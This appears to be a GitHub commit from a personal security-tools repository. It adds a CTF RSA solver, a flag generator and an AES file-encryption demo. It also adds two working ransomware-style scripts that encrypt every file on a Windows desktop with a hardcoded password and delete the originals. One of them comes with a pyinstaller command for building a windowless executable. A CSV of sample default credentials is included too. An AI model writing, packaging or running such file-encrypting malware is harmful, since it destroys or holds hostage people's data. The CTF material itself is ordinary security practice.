Skip to content

Commit f290d87

Browse files
committed
add - ctf gen flag script
1 parent f3a1e33 commit f290d87

28 files changed

Lines changed: 2692 additions & 1 deletion

.gitignore

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,6 @@ local_debug_config/*
1919
*.xls
2020
.coverage
2121
.DS_Store
22-
dev_draft/
2322
*.out
2423
t00ls_demo
2524
crawler/*.txt

ctf_writeup/changan_check_in.py

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
from Crypto.Util.number import *
2+
3+
# 2021 长安杯 wp check-in
4+
# https://mp.weixin.qq.com/s/tYcLkQ0Ay9_IYt1XJF9EFA
5+
p = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231
6+
q = 34211
7+
n = p * q
8+
c = 3303523331971096467930886326777599963627226774247658707743111351666869650815726173155008595010291772118253071226982001526457616278548388482820628617705073304972902604395335278436888382882457685710065067829657299760804647364231959804889954665450340608878490911738748836150745677968305248021749608323124958372559270
9+
e = 1049
10+
a = 1
11+
d = inverse(e, p - 1)
12+
for i in range(p - q, p):
13+
a = a * i % p
14+
m = pow(c, d, p)
15+
m = -m * a % p
16+
print(long_to_bytes(m))
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# coding:utf-8
2+
3+
import uuid
4+
5+
6+
def gen_flags(flag_tag="flag", count=7):
7+
print(f"[+] Generate {count} flag(s): ")
8+
for i in range(count):
9+
print("{}{{{}}}".format(flag_tag, uuid.uuid4()))
10+
11+
12+
if __name__ == '__main__':
13+
# gen_flags(10)
14+
gen_flags(flag_tag="CyberSpace", count=3)
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# coding=utf-8
2+
"""
3+
DATE: 2022/7/26
4+
AUTHOR: TesterCC
5+
"""
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# coding:utf-8
2+
3+
import pyAesCrypt
4+
5+
"""
6+
pip install pyAesCrypt
7+
脚本有一定危险性,建议虚拟机中运行
8+
此为最简demo
9+
"""
10+
11+
# password = "Hacking-to-the-Gate"
12+
# # encrypt
13+
# pyAesCrypt.encryptFile("./test/3.lnk", "./test/3.xxx", password)
14+
# print("[+] finish encrypt...")
15+
# # decrypt
16+
# pyAesCrypt.decryptFile("./test/3.xxx", "./test/d3.lnk", password)
17+
# print("[+] Finish decrypt...")
18+
19+
password = "Hacking-to-the-Gate"
20+
# encrypt
21+
pyAesCrypt.encryptFile("./test/1.txt", "./test/1.xxx", password)
22+
print("[+] finish encrypt...")
23+
# decrypt
24+
pyAesCrypt.decryptFile("./test/1.xxx", "./test/d1.txt", password)
25+
print("[+] Finish decrypt...")
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# coding:utf-8
2+
3+
import os
4+
import pyAesCrypt
5+
6+
login_user = os.getlogin()
7+
8+
# get desktop path, attack target path, e.g. desktop path
9+
# target_path = r"C:\Users\{}\Desktop".format(login_user) # use it build
10+
# target_path = r"C:\Users\{}\Desktop\test".format(login_user) # use it for vm test
11+
target_path = r"D:\ws_python\devdemo\python_demo\test" # for dev debug
12+
print("[+] attack file path: ", target_path)
13+
14+
file_list = list()
15+
16+
17+
def scanner_file():
18+
# find current all file
19+
file = os.listdir(target_path)
20+
for f in file:
21+
file_list.append(f)
22+
# print(file_list)
23+
return file_list
24+
25+
26+
def encrypt_desktop_file(passwd="Hacking-to-the-Gate"):
27+
files = scanner_file()
28+
for file in files:
29+
# print(f"{target_path}\\{file}") # print(f"{target_path}\\{file}.xx")
30+
if os.path.isfile(f"{target_path}\\{file}"):
31+
try:
32+
pyAesCrypt.encryptFile(f"{target_path}\\{file}", f"{target_path}\\{file}.xx", passwd)
33+
os.remove(f"{target_path}\\{file}") # attention: delete origin file
34+
except RuntimeError:
35+
pass
36+
37+
print("[+] finish encrypt files ...")
38+
39+
40+
def decrypt_desktop_file(passwd="Hacking-to-the-Gate"):
41+
files = scanner_file()
42+
43+
for file in files:
44+
# print(f"{target_path}\\{file}") # print(f"{target_path}\\{file}.xx")
45+
if os.path.isfile(f"{target_path}\\{file}"):
46+
try:
47+
pyAesCrypt.decryptFile(f"{target_path}\\{file}", f"{target_path}\\{file.replace('.xx', '')}", passwd)
48+
os.remove(f"{target_path}\\{file}") # attention: delete origin file
49+
except RuntimeError:
50+
pass
51+
print("[+] finish decrypt files !!!")
52+
53+
54+
if __name__ == '__main__':
55+
encrypt_desktop_file()
56+
# decrypt_desktop_file()
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# coding:utf-8
2+
3+
import os
4+
import pyAesCrypt
5+
6+
"""
7+
脚本有一定危险性,建议虚拟机中运行
8+
9+
pyinstaller打包:
10+
# C:\test\>pyinstaller -F -w -p "C:\Users\Test\AppData\Local\Programs\Python\Python36\Lib\site-packages" file_encrypt_tool.py
11+
"""
12+
13+
# login_user = os.getlogin()
14+
15+
# get desktop path, attack target path, e.g. desktop path
16+
target_path = r"C:\Users\Administrator\Desktop" # use it build
17+
# target_path = r"C:\Users\{}\Desktop\test".format(login_user) # use it for vm test
18+
# target_path = r"D:\ws_python\devdemo\python_demo\test" # for dev debug
19+
print("[+] attack file path: ", target_path)
20+
21+
file_list = list()
22+
23+
24+
def scanner_file():
25+
# find current all file
26+
file = os.listdir(target_path)
27+
for f in file:
28+
file_list.append(f)
29+
# print(file_list)
30+
return file_list
31+
32+
33+
def encrypt_desktop_file(passwd="Hacking-to-the-Gate"):
34+
files = scanner_file()
35+
for file in files:
36+
# print(f"{target_path}\\{file}") # print(f"{target_path}\\{file}.xx")
37+
if os.path.isfile(f"{target_path}\\{file}"):
38+
try:
39+
pyAesCrypt.encryptFile(f"{target_path}\\{file}", f"{target_path}\\{file}.xx", passwd)
40+
os.remove(f"{target_path}\\{file}") # attention: delete origin file
41+
except RuntimeError:
42+
pass
43+
44+
print("[+] finish encrypt files ...")
45+
46+
47+
def decrypt_desktop_file(passwd="Hacking-to-the-Gate"):
48+
files = scanner_file()
49+
50+
for file in files:
51+
# print(f"{target_path}\\{file}") # print(f"{target_path}\\{file}.xx")
52+
if os.path.isfile(f"{target_path}\\{file}"):
53+
try:
54+
pyAesCrypt.decryptFile(f"{target_path}\\{file}", f"{target_path}\\{file.replace('.xx', '')}", passwd)
55+
os.remove(f"{target_path}\\{file}") # attention: delete origin file
56+
except RuntimeError:
57+
pass
58+
print("[+] finish decrypt files !!!")
59+
60+
61+
if __name__ == '__main__':
62+
encrypt_desktop_file()
63+
# decrypt_desktop_file()
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
name,url,username,password
2+
127.0.0.1,http://127.0.0.1/xxx/,root,123456
3+
192.168.1.1,http://192.168.1.1/dvwa/login.php,admin,password
4+
5+
6+
764 KB
Loading
2.14 KB
Binary file not shown.

0 commit comments

Comments
 (0)